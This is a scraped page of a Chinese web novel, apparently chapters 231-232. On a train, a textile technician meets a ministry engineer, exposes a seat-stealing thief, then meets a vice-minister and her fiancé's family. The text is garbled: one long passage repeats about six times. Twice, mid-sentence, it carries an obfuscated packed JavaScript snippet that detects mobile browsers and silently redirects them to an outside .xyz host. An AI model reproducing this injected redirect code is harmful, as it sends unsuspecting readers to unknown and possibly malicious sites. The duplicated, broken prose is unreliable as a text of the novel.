姜海棠拎着行李登上列车,在靠窗的位置坐下。 透过有些模糊的车窗,她看见陆良辰抱着小桃子站在月台上,小桃子正拼命挥动着小手。 列车缓缓启动,陆良辰突然跟着跑了几步,嘴唇开合着说了句什么。 姜海棠的眼眶酸酸的,刚出发,她已经开始思考了怎么办? 车下的男人和孩子,是她放不下的牵挂啊! 列车加速驶离站台,金城的轮廓渐渐消失在晨雾中。 姜海棠拿出一个笔记本,开始在上面写写画画起来。 乘务员推着餐车经过:“同志,需要早餐吗?有稀饭和馒头。” “谢谢,我自己带了。” 姜海棠笑着向乘务员道谢之后,打算把早饭拿出来,却觉得有些食不下咽。 最终,她还是没有吃饭,而是继续在笔记本上写写画画,努力汲取知识。 她总有一种时间不够用的感觉,总想努力地多做点儿工作。 火车穿过华北平原,窗外的景色由连绵的麦田逐渐变成起伏的山丘。 姜海棠坐在靠窗的位置,手中铅笔在笔记本上沙沙作响,她时而蹙眉思索,时而快速勾勒几笔,笔尖在纸上留下一道道流畅的线条。 忽然,对面座位传来一声轻咳。 姜海棠抬头,看见一位约莫五十岁出头的女同志正望着她。 女同志戴着老式的黑框眼镜,镜片后是一双锐利而温和的眼睛,眼角有几道细纹,却丝毫不减其神采。 她穿着洗得发白的藏蓝色列宁装,胸前别着一枚小小的徽章,整个人透着股干练沉稳的气质。 “同志,你这轴承改良图画得不错。”女同志推了推眼镜,声音温和却带着不容忽视的专业性。 她伸手指向图纸某处,姜海棠注意到她的手指修长,指节分明,指甲修剪得整齐干净,却带着些许磨损的痕迹,那是常年与机械打交道才会有的痕迹。 姜海棠没想到,对面就座了一名专家,她忙微笑着看向对面的女同志。 姜海棠眼睛一亮,立即放下钢笔,微微前倾身子,问道:“您懂机械设计?” “工业部技术司,陈玉茹。”女同志伸出手,腕间露出块老式上海牌手表,表带已经有些磨损,却依旧走得精准。 她的握手有力而温暖,掌心带着薄茧,显然是个实干派。 姜海棠连忙自我介绍:“你好,我是金城纺织厂, 姜海棠。” 她的声音里带着掩不住的兴奋,“真荣幸,能和您在同一辆车上。” “你这是打算改良进口的绕线机轴承?”陈玉茹看了几眼图纸之后,问道。 “我们厂的进口的绕线机轴承总是出问题,我一直在想办法改进……最近厂里成立的专门的小组,打算改进这些机械,避免受制于人。” “轴承座公差故意放大0.1毫米。”陈玉茹接过话头,语气笃定。 “您怎么知道的?”姜海棠十分惊讶。 “我们每年都会收到类似的报告,这是外国人为我们人为制造的问题,没想到,你们厂已经开始准备改进设备了。” “每一次受制于人,还要付出巨额的外汇,实在是不甘心啊!” “是啊,谁能甘心呢?可目前,我们的能力和水平都还有所欠缺。海棠同志,我在这方面,也有一些心得,你们现在研究到什么程度了,或许,我也可以为你们的研究贡献一份力量。” 陈玉茹说话条理清晰,时不时用钢笔在纸上快速写下几个公式或数据,字迹刚劲有力。 她翻看着姜海棠自制的游标卡尺,眼中流露出赞赏:“做工很精细,看得出下了功夫。” “我喜欢这个!”姜海棠始终保持着微笑。 突然,陈玉茹压低声音:“小姜,你英语怎么样?“ 姜海棠有些不好意思:“这方面没有什么问题,我还兼职我们厂广交会的翻译。” “哦,我说你这个名字怎么这么熟悉,终于想起来了,你是不是要去和周副部长汇合?”陈玉茹恍然大悟的开口,显然,也是知道姜海棠这个人的。 姜海棠没想到陈玉茹竟然是知道自己的,她下意识摸了摸耳后的发丝,有些不好意思了。 “我还以为,现在有许多如此出色的小同志,原来是我多想了,你是个非常优秀出色的同志,不光在研究方面有能力,还是个乐于助人的好同志。” “我听说过你的许多事迹……” 两个人越说越投机,很快就到了饭点,陈玉茹坚持要请姜海棠吃饭。 姜海棠推辞不过,只能接受,两个人一边吃饭一边继续聊着。 “这次你们去D国,还有一个精密机械研讨会,我手里有一张邀请函,你到时候可以去看看。” “是给您的邀请函,您为什么自己不去?” “我受伤了,长时间的舟车劳顿坚持不住。”陈玉茹说着,拍拍自己的大腿。 “严重吗?” “ 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944669|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 基本能自理,不过,出国不是一件容易的事,一路上也是吃苦受罪,加上去了D国,难免有诸多不方便的地方,今天遇到你,也是巧合,算是你的机遇。” 姜海棠听到陈玉茹如此说,才不推辞了,她接过邀请函,手指微微发抖。 深吸一口气,她强迫自己冷静下来,但眼中闪烁的光芒还是泄露了她内心的激动。 “你这一次的带队领导是周副部长,他可是个非常专业的人。”陈玉茹的声音温和而坚定,“一路上有机会的话,你可以多向周副部长请教,对你将来的发展,大有好处。” 姜海棠看着陈玉茹面前的水杯已经空了,便主动帮陈玉茹接水,等她回到座位上,却看到陈玉茹拿出了一包芝麻糖。 芝麻糖特有的香甜味道在空气里弥散开来。 “火车上人会很疲惫,尝尝这个。” 姜海棠掰下一块,甜脆的口感让她想起临行前小桃子塞给她的饼干,嘴角不自觉地扬起一抹温柔的弧度。 “你结婚了吗?” “您为什么忽然问这个?” “刚才你嘴角的笑容很温馨,那是想念孩子才有的,可是,你太年轻了一些!”陈玉茹笑着解释。 “您是想到您家的孩子了?” 陈玉茹淡淡一笑,眼中闪过一丝怀念。 她从内袋掏出一张有些泛黄的照片,动作轻柔,像是在对待珍宝。 照片里穿军装的年轻女孩站在纺织机旁,胸前别着“技术标兵“的奖章,笑容灿烂。 “我家丫头,在新疆兵团搞农机改造,我已经有两年没见过她了。”她摩挲着照片,声音里带着骄傲和一丝不易察觉的哽咽。 列车穿过隧道,忽明忽暗的光影里,姜海棠看见陈玉茹眼中闪烁的泪光。 这一刻,她仿佛看到了未来的自己,同样为事业奔波,同样为子女牵挂。 “我相信,您的女儿,将来会成为和您一样优秀的人。” “只要她做出努力,我就会为她骄傲。” “我还没有结婚,不过收养了一个女儿,今年四岁了,非常可爱,她的父亲是烈士。” 姜海棠也开始讲起自己的小桃子。 两个不同时代不同年龄的母亲,却在这一刻有了生命中难得的交汇, 这一刻,姜海棠忽然明白,她们在接续一代又一代华国工业人的梦想与使命。 第231章 到京城了 雨点噼里啪啦地敲打着车窗,列车在渐浓的暮色中穿行。 一旁的陈玉茹已经睡着了,姜海棠将薄薄的被单给她盖在身上,自己则继续在昏暗的灯光下写写画画。 也不知道过了多长时间,火车到站了,姜海棠揉了揉发酸的眼睛,将目光从技术图纸上移开。 这一站停车时间比较短,姜海棠并没有下车的打算。 她起身接了一杯水回来,就在这时,一阵尖锐的争吵声。 “这是我的座位!票上写得清清楚楚!一个扎着两条粗麻花辫的年轻姑娘拎着行李,涨红了脸与人争辩。 她穿着洗得发白的工装裤,膝盖处还打着补丁,但浆洗得干干净净,她带着粗茧的手指紧紧攥着一张皱巴巴的车票。 占据座位的彪形大汉懒洋洋地翘着二郎腿,露出一个轻蔑的冷笑。 显然,并不将这样一个小姑娘放在眼里。 “小丫头片子,识相点滚远些。 他手臂上的青龙文身在昏暗的灯光下显得格外狰狞。 姜海棠注意到姑娘的嘴唇在微微发抖,但眼神却倔强得很。 显然,就算知道对面这个占据了座位的人并不好惹,姑娘也没有放弃的打算。 “这位同志, 大汉斜眼瞥了她一眼:“关你屁事!多管闲事,小心老子弄死你! “我是本次列车的义务安全员。姜海棠面不改色地从口袋里掏出一个红袖章。 这是上次出差时列车长代表列车组送给她和陆良辰的。 袖章有些旧,但上面“安全监督“四个字依然醒目。 大汉的气势顿时弱了几分。 姜海棠趁机仔细观察他,油腻的头发,指甲缝里的黑泥,还有身上那股劣质烟草和汗臭混合的味道。 最引人注目的是他右手虎口处的一道伤疤——像是被利器划伤的。 “您的车票呢?姜海棠再次问道,同时悄悄给站在过道里的列车员使了个眼色。 “丢了!被人偷走了,说不定就是她偷走的。 大汉不耐烦地挥手,将手指向年轻姑娘。 他腕间露出一块崭新的上海牌手表,表带扣在最紧的一格,依旧显得很不合适,显然不是他自己的。 姜海棠心中了然,突然话锋一转:“同志是去北京参加劳模大会的吧?我看您这气质就像先进工作者。 大汉一愣,随即挺起胸膛: “那当然!我可是…… 年轻姑娘听到姜海棠这么说,不解地看着她。 就眼前这个男人,哪里像先进工作者的样子? 姜海棠看明白了那姑娘的眼神,那姑娘眼神似乎在质疑她是个傻子。 姜海棠轻轻笑了一下。 “您的劳模证章呢?姜海棠打断他,“按规定必须随身佩戴啊。 年轻姑娘明白了,姜海棠是故意的。 不管是年轻姑娘明白了,车厢里的其他人也听懂了,顿时响起几声轻笑。 大汉的脸色由红转青,猛地站起身,居高临下地瞪着姜海棠。 “臭娘们,找死是吧?“ 姜海棠不慌不忙地端起茶杯,热气氤氲中她的眼神格外锐利。 “去年我们厂抓了个小偷,最喜欢在火车上冒充干部。 “那人右手虎口也有一道疤,据说是偷纱锭时被梭子划的。 姜海棠一面盯着大汉看着,一边信口开河的说着,可是,显然,姜海棠说对了。 大汉听到偷纱锭的时候,下意识地把右手藏到身后。 这时列车员已经带着乘警赶来,见状立即扣住了他的肩膀。 “你们要干什么?大汉立即挣扎。 “我们怀疑你有**行为,请配合我们进行调查。乘警严肃地说着,将人押走了。 等大汉走了之后,年轻姑娘感激地握住姜海棠的手:“太谢谢您了! “不用客气,我也是怀疑这个人有问题。姜海棠脸上是淡然的笑。 “你真的是铁路上的监督员吗?我叫王秀兰,是长虹纺织厂的挡车工。她的手心有一层厚厚的老茧,却温暖有力。 “我是金城纺织厂的人姜海棠。姜海棠她微笑着回应。 听到姜海棠也是纺织厂的,王秀兰立即来了兴趣,因姜海棠旁边没人,她索性先坐到姜海棠的旁边,叽叽喳喳地和姜海棠说话。 陈玉茹已经被吵醒,便也听着两个年轻的女同志说话。 姜海棠注意到王秀兰的行李袋里露出一角技术书籍,“去北京参加技术考核? 王秀兰的眼睛一下子亮了起来:“您怎么知道?我们厂要引进新设备,厂里选拔人去学习…… “那很好,有了先进的机器,我们的纺织水平会得到提高,就能为国家织出更多布了。 王秀兰却黯然说道:“但我们厂有几个人说女工学不会那些进口机器。 “别听他们的,全国这么多的纺织女 工出现了多少值得我们学习的优秀工作者和技术能手?”姜海棠只从王秀兰的一句话就能听出来说这话的肯定是男人。 虽然已经解放这么多年了国家也在提倡男女平等可实际上距离真正实现男女平等还有很长一段时间的路要走。 传了几千年的思想不是短短几十年能够改变的。 “你说得对我才不听他们胡说八道我就要做好我自己做一个优秀的纺织女工。”王秀兰仰着脑袋脸上重新露出明媚的笑。 两人越聊越投机。 陈玉茹偶尔也会说商行两句话不知不觉已经到了十点多火车就要熄灯了。 姜海棠将随身的东西都装起来靠在座位上准备睡觉。 王秀兰虽然觉得有些意犹未尽但想着火车上本来就辛苦她要是继续说话不光打扰姜海棠还会打扰其他人便也闭上眼睛准备睡觉。 一宿无话翌日一早姜海棠醒来的时候王秀兰已经醒来了看到她醒来王秀兰笑语盈盈。 “海棠同志你醒了?我们一起吃早饭吧我带了烧饼我妈做的可好吃了。” 姜海棠没有拒绝王秀兰的好意拿出自己的吃食一起放在桌上又邀请了陈玉茹一起吃饭。 饭后三个人继续讨论机械改造没想到王秀兰虽然只是一名女工但对于纺织机械的了解还挺多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951965|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜海棠没想到这趟原本以为会很累的旅途因为遇到了这两个人倒是多了许多意思。 一些她之前冥思苦想也不能解决的难点问题有了陈玉茹和王秀兰两个人倒是顺利找到了解决方法。 三个人都是到京城去的下车的时候留了联系地址这才分别离开。 姜海棠和陈玉茹是一路都要去工业部来接陈玉茹的车子便顺便将姜海棠一起接了过去。 工业部大楼前的白玉兰开得正好姜海棠跟着陈玉茹穿过门厅时不自觉地整了整衣领。 走廊两侧的墙上挂着大幅生产进度表红色箭头昂扬向上记录着一个个超额完成的指标。 两辈子了姜海棠还是第一次来到这样高大上的地方她觉得腿都有些发软了身体没忍住微微颤抖。 “紧张了?”陈玉茹笑着拍拍她的肩膀“不用怕我们这里的人都很好何况周副部长欣赏的人我相信绝对有过人之处不会怕这点小阵仗。” 姜海棠抿嘴笑了笑手指无意识地摩挲着包包。 上次见到周副部长还是在广交会上,也是因为她在广交会的上的表现,才得到了这个机会。 “不是害怕,就是从来没有来过,有些敬畏!” “到了。”陈玉茹在一扇漆色明亮的木门前停下,轻轻叩门。 “请进!”洪亮的声音穿透门板。 推开门,阳光透过落地窗洒满整个办公室。 周副部长正在打电话,即便是坐着,他的身姿挺拔如青松,藏蓝色的中山装衬得他精神矍铄。 看见来人,他眼睛一亮,匆匆挂断电话。 “老陈!医生不是让你多休息吗?”他快步走来,声音里带着责备,却先给陈玉茹拉了把椅子。 转头看见姜海棠,周副部长顿时笑开了:“哎呀,老陈啊,你怎么和小姜同志一起来了?” “路上遇到了。我们两个座位在一起。” 听到陈玉茹说座位,周副部长立即板着脸问:“你是坐硬座车厢回来的?你的腿不好,为什么不买卧铺?” “就这么点路,坚持一下就回来了,何必劳师动众地买卧铺。”陈玉茹脸上依旧是温婉的笑容。 “算了,你就是这样的性格,我也不说了,省得自己生气。”周副部长说完后,又指着姜海棠说道:“老陈,这位小姜同志,可不一般啊,我给你介绍介绍……” 虽然陈玉茹已经将姜海棠了解清楚了,但也没有打断周副部长的话,而是由他给自己介绍。 周副部长对姜海棠极尽溢美之词,说到最后,姜海棠脸颊微热:“周部长过奖了,那是我应该做的。” 等周副部长终于说完了,才惊讶地发现,客人还站着。 “坐坐坐。”周副部长亲自泡茶,白瓷杯里碧绿的茶叶舒展开来,“尝尝,这是杭州的老茶农特意寄来的龙井。” 陈玉茹笑着打趣:“小姜同志,这个你可得尝尝,这是周副部长这里的贵客待遇啊,我平日里可是没有这样待遇的。” 周副部长白了陈玉茹一眼:“好像我这里的好东西少给你了一样。” 姜海棠只是保持得体的微笑。 第232章 回陆家 周副部长和陈玉茹斗了几句嘴,这才从文件堆里抽出一份报告。 “小姜同志,你们厂那个进口设备改造方案,部里技术司连夜讨论过了,这个轴承改良思路很有创造性!部里表示完全支持。” 姜海棠没想到这份方案已经传到部里,连忙取出笔记本:“其实我们最近又有了新进展……” 她详细讲解着技术细节,周副部长时而点头,时而拿起铅笔在便签上记几笔。 当讲到用废旧零件自制测量工具时,他突然拍案叫好:“妙!这才是咱们中国工程师的智慧!” 激动之下,他碰翻了茶杯。 姜海棠眼疾手快地扶住,周副部长却浑不在意。 “下周去D国考察,我也知道,他们给咱们看的永远是二流技术。但有了你们这样的年轻人,或许我们能看到一些不一样的……”他忽然转向陈玉茹,“老陈,工业博览会的邀请函,你不去的话,可不可以……” 周副部长说这话的时候,有些不好意思。 陈玉茹笑道:“路上我就已经转赠给海棠同志了。” 周副部长哈哈大笑起来:“果然英雄所见略同啊。” 笑过后,周副部长意味深长地说:“海棠同志啊,我们这一代人的使命,即将完成。你们这代人的使命,就是让‘中国制造’成为世界工业的标杆,这是你们必须承担的,也是上一辈人希望你们承担的责任!” 姜海棠郑重其事地点头。 “周副部长您放心,我一直都很清楚,咱们要做的,就是让后人不必再走我们走过的弯路。” “好,说得好。”周副部长不由又是一番夸奖。 “海棠同志,你安顿下来了没有?我让人安排你去招待所?” 姜海棠知道,周副部长和陈玉茹肯定还有话说,因此,站起身说:“周副部长,我暂时可以不住在招待所吗?” 陈玉茹倒是好奇,姜海棠是从西北来的,按道理说,在京城没有家啊。 “哦,看看我,都糊涂了,行,我让人送你去陆家。”周副部长拍拍额头笑道:“老陈,这位是陆老的孙媳妇,陆良辰那小子的未婚妻。” 陈玉茹显然没有想到,姜海棠还有这样的身份,少不得惊讶。 “原来是这样,这可不是缘分,说起来,咱们也是亲戚了。”陈玉茹脸上的笑容越发和蔼了:“我和良辰的二婶是表姐妹。” 姜海棠也没想到还有这样一层关系。 “之前听说,良辰在西北找了一个特别能干的 姑娘,我还遗憾没能见一面呢,没想到缘分就是这么奇妙啊,我们竟然在火车上遇见了。” 周副部长笑着摇头:“老陈啊,良辰优秀,他能看上的姑娘也优秀,我刚才给你讲了没有,小姜同志可是咱们工业系统的后起之秀,广交会上一个人就为国家争取了几百万的外汇,还能改造机械,光是金城机械厂这一次,就省下十多万外汇……” 陈玉茹看着周副部长一副要讲三天三夜的样子,有些头疼的扶额。 姜海棠被夸得有些不好意思,脸颊微微泛红:“周部长过奖了,我其实没有这样优秀,都是组织给我机会。” “行了,别客套了。我让司机送你去陆家,陆老爷子要是知道孙媳妇来了,准高兴的不得了。” 一小时后,姜海棠站在陆家院门前,上次来的时候,陆良辰和小桃子都在,姜海棠倒没觉得有什么不自在,这一次是她自己来,心跳不自觉地加快了。 她深吸一口气,刚要敲门,门却自己开了。 “哎呀,海棠来了,良辰已经打过电话了,说你今天到,老爷子已经等了好些时候了。” 笑容可掬出现在姜海棠面前的,可不就是王婶。 姜海棠忙笑着说:“王婶好。” “快进去,快进去,别站在门口了,太阳大得很。” 院子里,陆老爷子正在给院子里的菜拔草,听见动静转过身来。 姜海棠忙上前问好:“爷爷。” “好,好,快到屋里,晚上尝尝我新种的菜。”陆老爷子从菜地里走出来,努力的在严肃的脸上扯出一抹笑。 “好,爷爷,我明天帮您给菜地除草。” “好。咱爷孙明天给这些地除除草。我听良辰说,你要去D国学习?“ “是的,爷爷。” “果然是个有出息的孩子,老头子这么多年,除了打仗,还没出过国呢。你们年轻人有出息,我们这些老家伙就放心了。” 陆老爷子一副老怀安慰的样子,看向姜海棠的目光都多了许多慈爱。 正说着,门外传来一阵清脆的车铃声。 姜海棠猜测应该是时书岚回来了,果然,等院子门打开,可不就是大嫂时书岚。 “海棠啊,听说你今天到,我特意提早下班去买了些肉和水果回来。”时书岚还是一如既往的热情非常。 “大嫂!”姜海棠快步迎上去,接过时书岚手里沉甸甸的网兜。 网兜里鲜红的苹果散发着浓郁的苹果香味。 这个季节的苹果 ,可不容易弄到呢,想来,大嫂花了不少力气。 时书岚擦了把额头的汗,白色的确良衬衫后背已经汗湿了一片:“海棠,你晚上就住在良辰那屋吧,平日里都是打扫干净的,这次你要来,又专门把被子晒过了。” 姜海棠听着时书岚如此仔细,心里暖的不得了。 “大嫂,辛苦你了。” “我也没干什么,我先去换衣服,等下给你做拿手菜。”时书岚说着,风风火火的就回房去了。 王婶端着一盘切好的西瓜从厨房出来:“海棠坐了一天火车,累了吧,吃片西瓜歇歇脚。” 西瓜刚摆上石桌,院门又被推开。 陆父拎着公文包风尘仆仆地进来,藏蓝色中山装的口袋里还插着支钢笔。 “陆伯伯。”姜海棠连忙起身。 陆父眼睛一亮:“刚到?正好,我带了样东西给你。”他从公文包里取出个油纸包,“机械研究所新出的德汉技术词典,比市面上的版本多了三千专业词汇。” “这……”她手指微微发抖,“太珍贵了!” 这种工具书,这个年代要弄到并不是很容易,姜海棠说不感动那是假的。 “听说你这段时间取得了不小的成绩,我们做长辈的,为你骄傲,可是,海棠啊,你要时刻牢记身上的使命和担当,不能因为做出了一些努力就松懈!“陆父谆谆教导。 陆老爷子没好气地说:“孩子才进门,就说教,也不怕孩子嫌弃。” 陆父:“……” 您老咋不说您以前怎么对我们的?说教都是轻松的,搞不好就是棍棒呢。 不过,这番话,陆父可是不敢当着老爷子的面说的,只能摸摸鼻子停下后面还想说的许多话。 